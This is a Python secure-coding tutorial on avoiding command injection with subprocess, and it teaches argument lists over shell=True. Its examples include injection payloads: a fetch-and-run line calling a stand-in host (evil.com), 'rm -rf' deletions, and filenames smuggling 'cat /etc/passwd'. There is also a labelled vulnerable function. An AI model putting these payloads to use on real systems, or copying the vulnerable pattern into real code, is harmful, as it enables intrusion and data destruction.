Avoid command injection with subprocess
Learn to avoid command injection with subprocess in this Secure development tutorial. Step 17 covers core concepts, hands-on exercises, troubleshooting, and next steps.
Focus: avoid command injection with subprocess
Picture this: your application accepts a filename from a user, and you need to list its contents. The naive approach — os.system(f"cat {filename}") — feels convenient, but it's a loaded gun. A user can pass ; rm -rf / or $(curl evil.com | sh) and, before you know it, your server is pwned. Command injection remains one of the most devastating vulnerabilities in Python applications, and it all starts with how you invoke external processes. In this lesson, you'll learn why this happens and, more importantly, how to avoid command injection with subprocess — the secure, idiomatic way to run system commands.
The problem this lesson solves
Command injection is a security flaw where an attacker injects operating system commands into a vulnerable application. In Python, it typically arises when you build a command string with user input and pass it to a shell. This is the classic shell injection — the same family as SQL injection, but it targets the OS instead of a database.

The core danger: If your code concatenates user input into a command string and hands it to
subprocess.Popen(cmd, shell=True)oros.system(), you're allowing arbitrary code execution. An attacker can read secrets, modify files, or even take over the entire machine.
Consider this real-world scenario: a content-management system that resizes user-uploaded images by calling an ImageMagick CLI tool. A crafted filename like image.jpg; cat /etc/passwd would exfiltrate system data. The fix isn't harder — it's refusing to let the shell interpret your arguments.
Core concept / mental model
Think of subprocess as a messenger system. You have a message (the command) and a list of parcels (arguments). The secure way is to hand the messenger a sealed envelope with the exact command and a separate bag of arguments — the shell never gets a chance to interpret them. The insecure way is to write a giant string on a postcard that says "do whatever you want with this" — that's shell=True.
The golden rule: Never pass a string to subprocess if it contains untrusted data. Pass a list of arguments.
Here's the mental model in three parts:
- Parsing safety — When you pass a list, Python directly forwards the arguments to the operating system's
execfamily functions. No parsing, no interpretation. - Shell absence — The default
shell=Falsemeans no/bin/sh -cwrapper. There's no shell to interpret metacharacters like;,|, or$(). - Explicit quoting — If you need to pass spaces or special characters, they're part of a single argument, not syntax that gets evaluated.
How it works step by step
Let's walk through the decision process from input to output:
- Collect input — Receive the untrusted data (filename, IP, etc.) from user input, environment variables, or config files.
- Choose the command — Decide what executable to run. Prefer the absolute path or a well-known binary name.
- Build the argument list — Create a list where the first element is the program, and the rest are arguments. Do not interpolate user data into strings that contain shell syntax.
- Call
subprocesswithshell=False— This is the default, so you're safe unless you explicitly setshell=True. - Handle the output — Capture stdout/stderr using
capture_output=TrueorPIPE, and settext=Truefor string output. - Validate input even when safe — If your command inherently needs a filename format (e.g.,
--format pdf), validate it against a whitelist before passing it.
Pro tip: Even when you use argument lists, always validate input at the application boundary. Defense in depth means you never trust one safeguard alone.
Hands-on walkthrough
Let's see the difference in practice. Start with the vulnerable pattern:
import subprocess
# VULNERABLE: never do this!
def list_files_unsafe(directory):
command = f"ls -l {directory}"
return subprocess.run(command, shell=True, capture_output=True, text=True)
result = list_files_unsafe(".; cat /etc/passwd")
print(result.stdout)
Output: The shell executes ls -l . and then cat /etc/passwd, dumping system credentials.
Now the secure version:
import subprocess
def list_files_safe(directory):
# The directory is passed as a single argument — no shell interpretation
return subprocess.run(["ls", "-l", directory], capture_output=True, text=True)
result = list_files_safe(".; cat /etc/passwd")
print(result.returncode) # 2 (ls error)
print(result.stderr) # ls: cannot access '.; cat /etc/passwd': No such file or directory
Output: The command fails safely because ls treats the malicious string as a literal filename. No shell, no injection.
But wait — what if you genuinely need shell features like pipes or redirection? You can still avoid injection by constructing pipelines in Python:
import subprocess
# Secure pipeline: list files and count them, no shell needed
process1 = subprocess.Popen(["ls", "-l"], stdout=subprocess.PIPE, text=True)
process2 = subprocess.Popen(["wc", "-l"], stdin=process1.stdout, stdout=subprocess.PIPE, text=True)
process1.stdout.close()
output, _ = process2.communicate()
print(output.strip())
Output: The number of lines in ls -l output. Each process is called without a shell, so even if a filename contained |, it wouldn't be interpreted.
Compare options / when to choose what
| Method | Shell involvement | Injection risk | When to use |
|---|---|---|---|
subprocess.run(list, shell=False) |
None | None | Default choice for most commands |
subprocess.run(string, shell=True) |
Yes | High | Avoid at all costs, unless the string is hardcoded and you're 100% sure no user input reaches it |
os.system() |
Yes | High | Legacy code; refactor to subprocess |
shlex.split() + list |
None | Low (but still parse carefully) | When you have a user-provided single-line command string you need to split safely |
Recommendation: Always start with subprocess.run(["cmd", arg1, arg2]). If you need shell features, implement them in Python (e.g., using os.replace for redirection). If you absolutely must parse a user command string, use shlex.split() — but remember it doesn't protect against logical injection (e.g., a user typing their own rm -rf /).
Troubleshooting & edge cases
-
Symptom: I get
FileNotFoundErrorwhen using a list but it worked with a string. Cause: You're relying on shell built-ins (e.g.,echo,cd,export). These aren't executables. Fix: use the actual executable (e.g.,/bin/echo) or implement in Python. -
Symptom: My command with spaces fails. Cause: You split a string yourself using
.split()— that breaks paths with spaces. Fix: pass the whole path as one element in the list. -
Symptom: User input contains
--helpand my program exposes unintended options. Cause: Argument injection, a cousin of command injection. Fix: use the--separator to stop option parsing:subprocess.run(["grep", "--", pattern, filename]). -
Symptom:
shell=Trueis unavoidable for a trusted script. Mitigation: If you must, never interpolate user input. Instead, useshlex.quote()on every variable — but this is fragile. Better to refactor.
What you learned & what's next
You've learned that command injection thrives where shell interpretation meets untrusted input. You now know the core rule: pass a list, not a string, to subprocess — that's how you avoid command injection with subprocess. You've completed a hands-on exercise showing the safe and vulnerable patterns, compared options, and troubleshooted common edge cases.
Next in the Secure development track, you'll tackle secure file operations — making sure your file handling doesn't introduce symlink attacks or race conditions. You'll apply the same mindset: never trust input, always opt for explicit safe APIs.
Practice recap
Put this into practice: take a small script that uses os.system(f"grep {user_input} file.txt") and refactor it to use subprocess.run with a list. Test it with a malicious input like "; rm -rf ~" to confirm it fails safely. Then write a short function that runs ls -l on a user-provided path and capture the output.
Common mistakes
- Using
shell=Trueby default, even with user input — always default toshell=False - Building command strings with f-strings and
.format()— this is the #1 injection vector - Forgetting that
echo,cd, and other shell built-ins aren't executables — use/bin/echoor implement in Python - Splitting user input with
.split()orshlex.split()and assuming it's safe — you still need validation
Variations
- Use
shlex.split()when you need to parse a user-provided command line into arguments safely - Implement shell features in Python — e.g., pipes with
subprocess.Popenchaining, redirection with file objects - Use a library like
plumbumfor more readable and secure shell commands
Real-world use cases
- Web application that lets users run
git statuson selected repositories — pass repo name as argument list - Backup script that invokes
tarwith user-specified directory — pass paths in a list - Image processing service that calls
convertwith a user-uploaded filename — avoid shell interpolation
Key takeaways
- Command injection occurs when user input reaches a shell via
shell=Trueoros.system() - The secure pattern is
subprocess.run([list, of, args])withshell=False(the default) - Always validate and sanitize user input even when using argument lists — defense in depth
- Shell features like pipes and redirection can be safely implemented in Python
- Use
--to separate options from positional arguments to prevent argument injection
Keep learning
Related tutorials, quizzes, and articles for this topic.
Discussion
Questions, corrections, and tips help everyone reading this page.
0 comments
Add a comment
No comments yet — start the thread.